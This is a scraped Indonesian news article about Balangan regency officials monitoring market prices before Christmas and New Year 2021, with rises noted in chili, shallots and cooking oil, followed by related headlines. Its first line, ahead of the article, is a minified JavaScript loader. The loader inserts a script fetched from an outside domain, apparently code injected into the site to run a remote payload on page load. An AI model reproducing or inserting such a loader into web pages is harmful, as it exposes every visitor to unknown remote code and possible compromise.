(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN– Jelang hari besar seperti Natal dan Tahun Baru, kenaikan harga bahan pokok dan barang penting (Bapokting) sudah menjadi tradisi.
Menghadapi itu, Dinas Koperasi, UKM, Perindustrian dan Perdagangan Kabupaten Balangan terus melakukan pemantauan di lapangan seperti pasar maupun pertokoan yang ada.
Bersama dinas terkait yaitu Dinas Pertanian, Bappedalitbang, Satpol-PP dan Polres Balangan, mereka melakukan monitoring langsung ke Pasar Adaro, Selasa (14/12/2021).
Kepala Dinas Koperasi, UKM dan Perindustrian Balangan Aidinnor, mengatakan kegiatan sidak pasar ini dalam rangka Hari Natal dan tahun baru yang merupakan agenda kegiatan pihaknya setiap hari besar keagamaan.
Baca juga : Rumah Kemasan Banjarbaru Siap Dukung Produk UKM
“Kami terus mengawasi ketersediaan bahan pokok dan bahan penting lainnya di seluruh pasar di wilayah Balangan, untuk mengetahui harga yang naik maupun turun, dan kita akan mengetahuinya melalui kegiatan sidak pada hari ini,” kata Aidinnor ditemui di lapangan.
Sidak ini untuk mengoptimalkan pemantauan serta pengawasan harga, dan terkait dengan sering terjadinya kelangkaan barang para pelaku usaha tidak diperbolehkan menimbun barang kebutuhan pokok dan barang penting.
Kasi Bahan Pokok dan Barang Penting, Dinas Koperasi, UKM, dan Perindag Balangan, Asbit menambahkan, kebutuhan pokok yang melonjak naik hingga kini yakni cabai, bawang merah dan minyak goreng. Sementara bahan pokok lainnya untuk keseluruhan masih relatif aman dan terkendali.
“Cabai yang biasanya di harga Rp60 ribu sekarang naik menjadi Rp100 ribu, bawang merah yang harga normal sekitar Rp20 ribu naik menjadi Rp23 ribu, minyak goreng dari Rp34 ribu untuk ukuran dua liter sekarang sudah di atas Rp40 ribu,” ujarnya.
Menurut Asbit, kenaikan minyak goreng sendiri terjadi bukan hanya di wilayah Balangan melainkan adalah isu nasional, karena ada beberapa pabrik kelapa sawit yang tutup di negara tetangga, jadi memang wajar minyak goreng ini mengalami kenaikan harga.
“Dapat kami simpulkan, untuk harga Bapokting di Balangan sendiri semuanya masih aman terkendali atau dalam batas toleransi, tidak ada yang mengalami kenaikan yang sangat signifikan, yaitu masih dalam batas kewajaran,” pungkasnya. (Kanalkalimantan.com/alfi)
Reporter : alfi
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More
KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More
This website uses cookies.